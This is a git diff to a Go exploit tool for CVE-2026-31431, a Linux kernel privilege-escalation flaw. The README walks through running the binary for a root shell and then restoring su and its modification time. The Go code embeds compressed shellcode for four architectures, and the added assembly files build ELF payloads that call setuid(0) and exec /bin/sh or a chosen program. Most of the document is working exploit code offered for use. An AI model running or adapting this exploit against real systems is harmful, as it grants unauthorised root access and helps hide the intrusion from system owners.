diff --git a/.gitignore b/.gitignore index f3d638d..a98e9d3 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,3 @@ copyfail -.ansible \ No newline at end of file +.ansible +dist \ No newline at end of file diff --git a/.goreleaser.yaml b/.goreleaser.yaml index 8ea776c..fdc2db9 100644 --- a/.goreleaser.yaml +++ b/.goreleaser.yaml @@ -4,15 +4,21 @@ before: hooks: - go mod tidy - builds: - env: - CGO_ENABLED=0 goos: - linux + goarch: + - amd64 + - "386" + - arm64 + - arm + goarm: + - "7" archives: - - format: tar.gz + - formats: binary # this name template makes the OS and Arch compatible with the results of `uname`. name_template: >- {{ .ProjectName }}_ diff --git a/README.md b/README.md index 15f7af4..e84d7e1 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,61 @@ # CopyFail Go -> Most Linux LPEs need a race window or a kernel-specific offset.Copy Fail is a straight-line logic flaw — it needs neither.The same ~~732-byte Python script~~ static Go binary roots every Linux distribution shipped since 2017. +> Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw — it needs neither. The same ~~732-byte Python script~~ static Go binary roots every Linux distribution shipped since 2017. A Go implementation of CVE-2026-31431. In case you need a static binary and no Python dependency. -See [copy.fail](https://copy.fail) for more info. \ No newline at end of file +See [copy.fail](https://copy.fail) for more info. + +## Interactive shell + +```shell +# Get the binary to your Linux host with code execution (exercise for the reader) +user@host$ chmod +x copyfail-go +user@host$ ./copyfail-go --backup /tmp/su +root@host# cat /tmp/su > /usr/bin/su # Restore the original su binary +root@host# touch -r /tmp/su /usr/bin/su # Restore the modified time of the original su +root@host# rm /tmp/su +root@host# # Do things as root =) +``` + +## Run binary as root + +Useful to elevate a program to root + +```shell +# Get the binary to your Linux host with code execution (exercise for the reader) +user@host$ chmod +x copyfail-go +user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary +user@host$ # Use whatever you ran to restore su from /tmp/su +``` + +## Don't trust those hex blobs? + +Compile the payloads yourself with `payloads/build-n-print.sh` on a Debian host (Debian 13 tested). + +You'll need to `apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf` then run the script from in the payloads directory. It will compile each payload and output the zlib compressed hex strings. Compare those to what is in `main.go` (or replace them with your own) and build the `copyfile-go` binaries with `goreleaser build --snapshot --clean` from the main project directory. + +## Affected kernels (from [copy-fail-c](https://github.com/tgies/copy-fail-c/tree/main#affected-kernels)) + +``` +floor: torvalds/linux 72548b093ee3 August 2017, v4.14 + (AF_ALG iov_iter rework that + introduced the file-page write + primitive via splice into the AEAD + scatterlist) + +ceiling: torvalds/linux a664bf3d603d April 2026, mainline + (reverts the 2017 algif_aead + in-place optimization; separates + source and destination scatterlists + so page-cache pages can no longer + be a writable crypto destination) +``` + +In between: every major distro kernel that didn't backport the fix. +Ubuntu, RHEL, SUSE, Amazon Linux, and Debian were all confirmed vulnerable +in their stock cloud-image kernels at disclosure time. Distro-level +backports started rolling out around 2026-04-29 alongside the public +disclosure. To verify whether a target kernel is in-window, check whether +`a664bf3d603d` (or its distro-specific backport) is present in the kernel's +git log or the distro's changelog. diff --git a/main.go b/main.go index 01e5af0..e5ecb2f 100644 --- a/main.go +++ b/main.go @@ -7,12 +7,15 @@ import ( "bytes" "compress/zlib" "encoding/hex" + "flag" "fmt" "io" "log" "os" "os/exec" + "runtime" "strings" + "time" "unsafe" "golang.org/x/sys/unix" @@ -28,6 +31,22 @@ const ( ALG_SET_AEAD_AUTHSIZE = 5 ) +// See payloads/exec-bin-sh-* for the shellcode +var payloadsZlibHex = map[string]string{ + "amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3", + "386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858", + "arm64": "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578", + "arm": "789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c61d40128459e1b20b1e8b172c780c64bc9760e87fc42000642b2c78cc0d1503c93342d9fa499979fac5190c00aca71742", +} + +// See payloads/exec-argv1-* for the shellcode +var execArgv1ZlibHex = map[string]string{ + "amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf", + "386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180", + "arm64": "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509", + "arm": "789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c60d40128459e1b20b1e8b172c780c64bce76098fb944100c85658f0981b2a06926784b201f6cc14c1", +} + // packCmsg constructs a raw Control Message (CMSG) buffer to be sent alongside the payload func packCmsg(level, typ int, data []byte) []byte { cmsgSpace := unix.CmsgSpace(len(data)) @@ -135,39 +154,118 @@ func decompressPayload(zlibBytes []byte) []byte { return payload } -func printHelp() { - prog := os.Args[0] - fmt.Fprintf(os.Stderr, "Usage: %s [-h|--help]\n\n", prog) - fmt.Fprintf(os.Stderr, "Go implementation of CVE-2026-31431 (copy-fail).\n") - fmt.Fprintf(os.Stderr, "Overwrites page cache of /usr/bin/su and runs su.\n") - fmt.Fprintf(os.Stderr, "See https://copy.fail for for information.\n") +// resolveSu returns the path to the su binary. It prefers /usr/bin/su when +// present; otherwise it walks PATH (via exec.LookPath, equivalent to which(1)). +func resolveSu() (string, error) { + const fallback = "/usr/bin/su" + if _, err := os.Stat(fallback); err == nil { + return fallback, nil + } + p, err := exec.LookPath("su") + if err != nil { + return "", fmt.Errorf("su not found in PATH and not at %s: %w", fallback, err) + } + return p, nil +} + +// backupSuBinary copies src to dst before page-cache corruption. Preserves +// permission bits including setuid/setgid/sticky and access/modification times. +func backupSuBinary(src, dst string) error { + var meta unix.Stat_t + if err := unix.Stat(src, &meta); err != nil { + return fmt.Errorf("stat %s: %w", src, err) + } + // Cast these to int64 so we can compile for 32 bit architectures + atime := time.Unix(int64(meta.Atim.Sec), int64(meta.Atim.Nsec)) + mtime := time.Unix(int64(meta.Mtim.Sec), int64(meta.Mtim.Nsec)) + + in, err := os.Open(src) + if err != nil { + return fmt.Errorf("open %s: %w", src, err) + } + defer in.Close() + + fi, err := in.Stat() + if err != nil { + return fmt.Errorf("fstat %s: %w", src, err) + } + + const modeMask = os.ModePerm | os.ModeSetuid | os.ModeSetgid | os.ModeSticky + out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) + if err != nil { + return fmt.Errorf("create %s: %w", dst, err) + } + defer out.Close() + + if _, err := io.Copy(out, in); err != nil { + return fmt.Errorf("copy to %s: %w", dst, err) + } + if err := out.Sync(); err != nil { + return fmt.Errorf("sync %s: %w", dst, err) + } + if err := os.Chmod(dst, fi.Mode()&modeMask); err != nil { + return fmt.Errorf("chmod %s: %w", dst, err) + } + if err := os.Chtimes(dst, atime, mtime); err != nil { + return fmt.Errorf("chtimes %s: %w", dst, err) + } + return nil } func main() { - for _, arg := range os.Args[1:] { - switch arg { - case "-h", "--help", "-help": - printHelp() - os.Exit(0) + var suArgv1 string + var useExecArgv1 bool + var backupPath string + flag.StringVar(&backupPath, "backup", "", "path to copy the su binary to before overwriting") + flag.Func("exec", "command to run as root; full path required", func(s string) error { + useExecArgv1 = true + suArgv1 = s + return nil + }) + flag.Usage = func() { + fmt.Fprintf(os.Stderr, "Usage of %s:\n", os.Args[0]) + flag.PrintDefaults() + fmt.Fprintln(os.Stderr) + fmt.Fprintln(os.Stderr, "Go implementation of CVE-2026-31431 (copy-fail).") + fmt.Fprintln(os.Stderr, "Overwrites the page cache of su and runs su.") + fmt.Fprintln(os.Stderr, "See https://copy.fail for for information.") + } + flag.Parse() + + var payloadHex string + var ok bool + if useExecArgv1 { + payloadHex, ok = execArgv1ZlibHex[runtime.GOARCH] + if !ok { + log.Fatalf("Unsupported architecture for -exec: %s", runtime.GOARCH) + } + } else { + // Pick payload for the running architecture + payloadHex, ok = payloadsZlibHex[runtime.GOARCH] + if !ok { + log.Fatalf("Unsupported architecture: %s", runtime.GOARCH) } } - - var payload []byte - - // Original payload from https://github.com/theori-io/copy-fail-CVE-2026-31431 - // A 160 byte linux ELF binary that: - // 1. Invokes the setuid(0) system call to set the user ID to root. - // 2. Invokes the execve system call to execute /bin/sh. - // 3. Exits cleanly if the execution fails. - payloadHex := "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" payloadZlib, err := hex.DecodeString(payloadHex) if err != nil { log.Fatalf("Invalid hex payload: %v", err) } - payload = decompressPayload(payloadZlib) + payload := decompressPayload(payloadZlib) + + suPath, err := resolveSu() + if err != nil { + log.Fatalf("%v", err) + } + + if backupPath != "" { + if err := backupSuBinary(suPath, backupPath); err != nil { + log.Fatalf("Backup failed: %v", err) + } + log.Printf("Backed up %s to %s", suPath, backupPath) + } // Open target file in read-only mode - f, err := os.Open("/usr/bin/su") + f, err := os.Open(suPath) if err != nil { log.Fatalf("Failed to open target file: %v", err) } @@ -196,7 +294,11 @@ func main() { // Execute the now-overwritten binary to trigger privilege escalation log.Println("Executing payload") var cmd *exec.Cmd - cmd = exec.Command("su") + if useExecArgv1 { + cmd = exec.Command("su", suArgv1) + } else { + cmd = exec.Command("su") + } cmd.Stdin = os.Stdin cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr diff --git a/payloads/README.md b/payloads/README.md new file mode 100644 index 0000000..e283c51 --- /dev/null +++ b/payloads/README.md @@ -0,0 +1,19 @@ +These are the assembly and binary payloads embedded in copyfail-go + +## Scripted + +Just run `build-n-print.sh` + +## Manual + +To build the asm run + +```shell +nasm -f bin {{ payload }}.asm -o {{ payload }} +``` + +To format the binary into the hex for copyfail-go, run + +```shell +cat {{ payload }} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())' +``` \ No newline at end of file diff --git a/payloads/build-n-print.sh b/payloads/build-n-print.sh new file mode 100644 index 0000000..70552a8 --- /dev/null +++ b/payloads/build-n-print.sh @@ -0,0 +1,53 @@ +#!/bin/bash + +# Check for nasm +if ! command -v nasm &> /dev/null; then + echo "[!] nasm could not be found. Please install it." + exit 1 +fi + +# Check for python3 +if ! command -v python3 &> /dev/null; then + echo "[!] python3 could not be found. Please install it." + exit 1 +fi + +for payload in *.asm; do + echo "[+] Building $payload" + nasm -f bin $payload -o ${payload%.asm} + echo "[+] Printing $payload as hex" + cat ${payload%.asm} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())' +done + +# Check for aarch64-linux-gnu-as +if ! command -v aarch64-linux-gnu-as &> /dev/null; then + echo "[!] aarch64-linux-gnu-as could not be found. Please install binutils-aarch64-linux-gnu" + exit 1 +fi + +for payload in *aarch64.S; do + # Assemble the source into an object file + echo "[+] Building $payload" + aarch64-linux-gnu-as $payload -o ${payload%.S}.o + # Extract ONLY the raw bytes into a flat binary file + echo "[+] Extracting $payload as binary" + aarch64-linux-gnu-objcopy -O binary ${payload%.S}.o ${payload%.S} + echo "[+] Printing $payload as hex" + cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())' +done + +if ! command -v arm-linux-gnueabihf-as &> /dev/null; then + echo "[!] arm-linux-gnueabihf-as could not be found. Please install binutils-arm-linux-gnueabihf" + exit 1 +fi + +for payload in *armv7l.S; do + # Assemble the source into an object file + echo "[+] Building $payload" + arm-linux-gnueabihf-as $payload -o ${payload%.S}.o + # Extract ONLY the raw bytes into a flat binary file + echo "[+] Extracting $payload as binary" + arm-linux-gnueabihf-objcopy -O binary ${payload%.S}.o ${payload%.S} + echo "[+] Printing $payload as hex" + cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())' +done diff --git a/payloads/exec-argv1-aarch64.S b/payloads/exec-argv1-aarch64.S new file mode 100644 index 0000000..c77fe86 --- /dev/null +++ b/payloads/exec-argv1-aarch64.S @@ -0,0 +1,53 @@ +.section .text +.globl _start + +// --- 64-bit ELF Header --- +ehdr: + .byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF" + .byte 2, 1, 1, 0 // 64-bit, little-endian, version 1 + .byte 0, 0, 0, 0, 0, 0, 0, 0 + .short 2 // e_type: Executable + .short 183 // e_machine: AArch64 (0xB7) + .int 1 // e_version + .quad 0x400078 // e_entry (0x400000 + 0x78) + .quad 0x40 // e_phoff (Program Header offset) + .quad 0 // e_shoff + .int 0 // e_flags + .short 64 // e_ehsize + .short 56 // e_phentsize + .short 1 // e_phnum + .short 0 // e_shentsize + .short 0 // e_shnum + .short 0 // e_shstrndx + +// --- Program Header (PT_LOAD) --- +phdr: + .int 1 // p_type: PT_LOAD + .int 5 // p_flags: PF_R | PF_X + .quad 0 // p_offset + .quad 0x400000 // p_vaddr + .quad 0x400000 // p_paddr + .quad file_end - ehdr // p_filesz + .quad file_end - ehdr // p_memsz + .quad 0x10000 // p_align + +// --- Payload --- +_start: + // setuid(0) + mov x0, #0 + mov x8, #146 // SYS_setuid + svc #0 + + // execve(argv[1], NULL, NULL) + ldr x0, [sp, #16] // x0 = argv[1] + mov x1, #0 // x1 = NULL + mov x2, #0 // x2 = NULL + mov x8, #221 // SYS_execve + svc #0 + + // exit(0) + mov x0, #0 + mov x8, #93 // SYS_exit + svc #0 + +file_end: \ No newline at end of file diff --git a/payloads/exec-argv1-amd64.asm b/payloads/exec-argv1-amd64.asm new file mode 100644 index 0000000..234b47b --- /dev/null +++ b/payloads/exec-argv1-amd64.asm @@ -0,0 +1,54 @@ +BITS 64 +org 0x400000 + +; --- 64-bit ELF Header --- +ehdr: + db 0x7F, "ELF", 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0 + dw 2 ; e_type: Executable + dw 0x3e ; e_machine: x86-64 + dd 1 ; e_version + dq _start ; e_entry + dq phdr - ehdr ; e_phoff (offset to program header) + dq 0 ; e_shoff + dd 0 ; e_flags + dw 64 ; e_ehsize (ELF header size) + dw 56 ; e_phentsize (Program header size) + dw 1 ; e_phnum (Number of program headers) + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +; --- Program Header (PT_LOAD) --- +phdr: + dd 1 ; p_type: PT_LOAD + dd 5 ; p_flags: PF_R | PF_X (Read + Execute) + dq 0 ; p_offset + dq 0x400000 ; p_vaddr + dq 0x400000 ; p_paddr + dq file_end - ehdr ; p_filesz + dq file_end - ehdr ; p_memsz + dq 0x1000 ; p_align + +; --- Payload --- +_start: + ; setuid(0) + xor eax, eax + xor edi, edi + mov al, 0x69 + syscall + + ; execve(argv[1], NULL, NULL) + mov rdi,[rsp+0x10] + xor esi, esi + push 0x3b + pop rax + cdq + syscall + + ; exit(0) + xor edi, edi + push 0x3c + pop rax + syscall + +file_end: \ No newline at end of file diff --git a/payloads/exec-argv1-armv7l.S b/payloads/exec-argv1-armv7l.S new file mode 100644 index 0000000..315e9ee --- /dev/null +++ b/payloads/exec-argv1-armv7l.S @@ -0,0 +1,53 @@ +.section .text +.globl _start + +// --- 32-bit ELF Header (52 bytes) --- +ehdr: + .byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF" + .byte 1, 1, 1, 0 // 32-bit, little-endian, version 1 + .byte 0, 0, 0, 0, 0, 0, 0, 0 + .short 2 // e_type: Executable + .short 40 // e_machine: ARM (0x28) + .int 1 // e_version + .int 0x400054 // e_entry (0x400000 + 0x34 + 0x20) + .int 0x34 // e_phoff (Program Header offset = 52) + .int 0 // e_shoff + .int 0x5000400 // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT + .short 52 // e_ehsize + .short 32 // e_phentsize + .short 1 // e_phnum + .short 0 // e_shentsize + .short 0 // e_shnum + .short 0 // e_shstrndx + +// --- Program Header (PT_LOAD, 32 bytes) --- +phdr: + .int 1 // p_type: PT_LOAD + .int 0 // p_offset + .int 0x400000 // p_vaddr + .int 0x400000 // p_paddr + .int file_end - ehdr // p_filesz + .int file_end - ehdr // p_memsz + .int 5 // p_flags: PF_R | PF_X + .int 0x10000 // p_align + +// --- Payload --- +_start: + // setuid(0) + mov r0, #0 + mov r7, #23 // SYS_setuid + svc #0 + + // execve(argv[1], NULL, NULL) + ldr r0, [sp, #8] // r0 = argv[1] (skip argc + argv[0], 4 bytes each) + mov r1, #0 // r1 = NULL + mov r2, #0 // r2 = NULL + mov r7, #11 // SYS_execve + svc #0 + + // exit(0) + mov r0, #0 + mov r7, #1 // SYS_exit + svc #0 + +file_end: diff --git a/payloads/exec-argv1-i386.asm b/payloads/exec-argv1-i386.asm new file mode 100644 index 0000000..74769d0 --- /dev/null +++ b/payloads/exec-argv1-i386.asm @@ -0,0 +1,59 @@ +BITS 32 +org 0x08048000 + +; --- 32-bit ELF Header --- +ehdr: + db 0x7F, "ELF" ; e_ident + db 1 ; EI_CLASS (1 = 32-bit) + db 1 ; EI_DATA (1 = little endian) + db 1 ; EI_VERSION + db 0 ; EI_OSABI + db 0, 0, 0, 0, 0, 0, 0, 0 + dw 2 ; e_type: Executable + dw 3 ; e_machine: EM_386 (x86) + dd 1 ; e_version + dd _start ; e_entry + dd phdr - ehdr ; e_phoff (offset to program header) + dd 0 ; e_shoff + dd 0 ; e_flags + dw 52 ; e_ehsize (32-bit ELF header size) + dw 32 ; e_phentsize (32-bit Program header size) + dw 1 ; e_phnum (Number of program headers) + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +; --- Program Header (PT_LOAD) --- +phdr: + dd 1 ; p_type: PT_LOAD + dd 0 ; p_offset + dd 0x08048000 ; p_vaddr + dd 0x08048000 ; p_paddr + dd file_end - ehdr ; p_filesz + dd file_end - ehdr ; p_memsz + dd 5 ; p_flags: PF_R | PF_X (Read + Execute) + dd 0x1000 ; p_align + +; --- Payload --- +_start: + ; setuid32(0) + xor eax, eax + xor ebx, ebx ; ebx = 0 (UID) + mov al, 213 ; sys_setuid32 (213) + int 0x80 + + ; execve(argv[1], NULL, NULL) + mov ebx, [esp+8] ; ebx = argv[1] (pointers are 4 bytes, so[esp+8]) + xor ecx, ecx ; ecx = NULL + push 11 ; sys_execve (11) + pop eax + cdq ; edx = 0 (sign-extends eax into edx) + int 0x80 + + ; exit(0) + xor ebx, ebx ; Exit code 0 + push 1 ; sys_exit (1) + pop eax + int 0x80 + +file_end: \ No newline at end of file diff --git a/payloads/exec-bin-sh-aarch64.S b/payloads/exec-bin-sh-aarch64.S new file mode 100644 index 0000000..f47b9e6 --- /dev/null +++ b/payloads/exec-bin-sh-aarch64.S @@ -0,0 +1,54 @@ +.section .text +.globl _start + +// --- 64-bit ELF Header (64 bytes) --- +ehdr: + .byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF" + .byte 2, 1, 1, 0 // 64-bit, little-endian, version 1 + .byte 0, 0, 0, 0, 0, 0, 0, 0 + .short 2 // e_type: Executable + .short 183 // e_machine: AArch64 (0xB7) + .int 1 // e_version + .quad 0x400078 // e_entry (0x400000 + 0x78) + .quad 0x40 // e_phoff (Program Header offset) + .quad 0 // e_shoff + .int 0 // e_flags + .short 64 // e_ehsize + .short 56 // e_phentsize + .short 1 // e_phnum + .short 0 // e_shentsize + .short 0 // e_shnum + .short 0 // e_shstrndx + +// --- Program Header (PT_LOAD, 56 bytes) --- +phdr: + .int 1 // p_type: PT_LOAD + .int 5 // p_flags: PF_R | PF_X + .quad 0 // p_offset + .quad 0x400000 // p_vaddr + .quad 0x400000 // p_paddr + .quad file_end - ehdr // p_filesz + .quad file_end - ehdr // p_memsz + .quad 0x10000 // p_align + +// --- Payload (52 bytes) --- +_start: + mov x0, #0 + mov x8, #146 // SYS_setuid + svc #0 + + adr x0, sh // PC-relative load of the "sh" label + + mov x1, #0 + mov x2, #0 + mov x8, #221 // SYS_execve + svc #0 + + mov x0, #0 + mov x8, #93 // SYS_exit + svc #0 + +sh: + .asciz "/bin/sh" // 8 bytes (includes null terminator) + +file_end: \ No newline at end of file diff --git a/payloads/exec-bin-sh-amd64.asm b/payloads/exec-bin-sh-amd64.asm new file mode 100644 index 0000000..b49adcc --- /dev/null +++ b/payloads/exec-bin-sh-amd64.asm @@ -0,0 +1,56 @@ +BITS 64 +org 0x400000 + +; --- 64-bit ELF Header --- +ehdr: + db 0x7F, "ELF", 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0 + dw 2 ; e_type: Executable + dw 0x3e ; e_machine: x86-64 + dd 1 ; e_version + dq _start ; e_entry + dq phdr - ehdr ; e_phoff (offset to program header) + dq 0 ; e_shoff + dd 0 ; e_flags + dw 64 ; e_ehsize (ELF header size) + dw 56 ; e_phentsize (Program header size) + dw 1 ; e_phnum (Number of program headers) + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +; --- Program Header (PT_LOAD) --- +phdr: + dd 1 ; p_type: PT_LOAD + dd 5 ; p_flags: PF_R | PF_X (Read + Execute) + dq 0 ; p_offset + dq 0x400000 ; p_vaddr + dq 0x400000 ; p_paddr + dq file_end - ehdr ; p_filesz + dq file_end - ehdr ; p_memsz + dq 0x1000 ; p_align + +; --- Payload --- +_start: + ; setuid(0) + xor eax, eax + xor edi, edi + mov al, 0x69 + syscall + + ; execve("/bin/sh", NULL, NULL) + lea rdi, [rel sh] ; 48 8d 3d 0f 00 00 00 rdi -> "/bin/sh" + xor esi, esi ; 31 f6 rsi = 0 (argv = NULL) + push 0x3b ; 6a 3b push SYS_execve + pop rax ; 58 rax = 59 + cdq ; 99 rdx = 0 (envp = NULL) + syscall ; 0f 05 execve("/bin/sh", 0, 0) + + ; exit(0) + xor edi, edi + push 0x3c + pop rax + syscall + +sh: db "/bin/sh", 0 + +file_end: \ No newline at end of file diff --git a/payloads/exec-bin-sh-armv7l.S b/payloads/exec-bin-sh-armv7l.S new file mode 100644 index 0000000..234a8c0 --- /dev/null +++ b/payloads/exec-bin-sh-armv7l.S @@ -0,0 +1,53 @@ +.section .text +.globl _start + +// --- 32-bit ELF Header (52 bytes) --- +ehdr: + .byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF" + .byte 1, 1, 1, 0 // 32-bit, little-endian, version 1 + .byte 0, 0, 0, 0, 0, 0, 0, 0 + .short 2 // e_type: Executable + .short 40 // e_machine: ARM (0x28) + .int 1 // e_version + .int 0x400054 // e_entry (0x400000 + 0x34 + 0x20) + .int 0x34 // e_phoff (Program Header offset = 52) + .int 0 // e_shoff + .int 0x5000400 // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT + .short 52 // e_ehsize + .short 32 // e_phentsize + .short 1 // e_phnum + .short 0 // e_shentsize + .short 0 // e_shnum + .short 0 // e_shstrndx + +// --- Program Header (PT_LOAD, 32 bytes) --- +phdr: + .int 1 // p_type: PT_LOAD + .int 0 // p_offset + .int 0x400000 // p_vaddr + .int 0x400000 // p_paddr + .int file_end - ehdr // p_filesz + .int file_end - ehdr // p_memsz + .int 5 // p_flags: PF_R | PF_X + .int 0x10000 // p_align + +// --- Payload --- +_start: + mov r0, #0 + mov r7, #23 // SYS_setuid + svc #0 + + adr r0, sh // PC-relative load of the "sh" label + mov r1, #0 + mov r2, #0 + mov r7, #11 // SYS_execve + svc #0 + + mov r0, #0 + mov r7, #1 // SYS_exit + svc #0 + +sh: + .asciz "/bin/sh" // 8 bytes (includes null terminator) + +file_end: diff --git a/payloads/exec-bin-sh-i386.asm b/payloads/exec-bin-sh-i386.asm new file mode 100644 index 0000000..75da36f --- /dev/null +++ b/payloads/exec-bin-sh-i386.asm @@ -0,0 +1,64 @@ +BITS 32 +org 0x08048000 + +; --- 32-bit ELF Header --- +ehdr: + db 0x7F, "ELF" ; e_ident + db 1 ; EI_CLASS (1 = 32-bit) + db 1 ; EI_DATA (1 = little endian) + db 1 ; EI_VERSION + db 0 ; EI_OSABI + db 0, 0, 0, 0, 0, 0, 0, 0 + dw 2 ; e_type: Executable + dw 3 ; e_machine: EM_386 (x86) + dd 1 ; e_version + dd _start ; e_entry + dd phdr - ehdr ; e_phoff (offset to program header) + dd 0 ; e_shoff + dd 0 ; e_flags + dw 52 ; e_ehsize (32-bit ELF header size) + dw 32 ; e_phentsize (32-bit Program header size) + dw 1 ; e_phnum (Number of program headers) + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +; --- Program Header (PT_LOAD) --- +phdr: + dd 1 ; p_type: PT_LOAD + dd 0 ; p_offset + dd 0x08048000 ; p_vaddr + dd 0x08048000 ; p_paddr + dd file_end - ehdr ; p_filesz + dd file_end - ehdr ; p_memsz + dd 5 ; p_flags: PF_R | PF_X (Read + Execute) + dd 0x1000 ; p_align + +; --- Payload --- +_start: + ; setuid32(0) + xor eax, eax + xor ebx, ebx ; ebx = 0 (UID) + mov al, 213 ; sys_setuid32 (213) + int 0x80 + + ; execve("/bin/sh", ["/bin/sh", NULL], NULL) + xor eax, eax ; 31 c0 eax = 0 + push eax ; 50 NULL terminator for argv + push 0x68732f2f ; 68 2f 2f 73 68 "//sh" + push 0x6e69622f ; 68 2f 62 69 6e "/bin" + mov ebx, esp ; 89 e3 ebx -> "/bin//sh" + push eax ; 50 envp = NULL + push ebx ; 53 argv[0] = "/bin//sh" + mov ecx, esp ; 89 e1 ecx -> argv + mov edx, eax ; 89 c2 edx = 0 (envp) + mov al, 0xb ; b0 0b eax = 11 (SYS_execve) + int 0x80 ; cd 80 syscall + + ; exit(0) + xor ebx, ebx ; Exit code 0 + push 1 ; sys_exit (1) + pop eax + int 0x80 + +file_end: \ No newline at end of file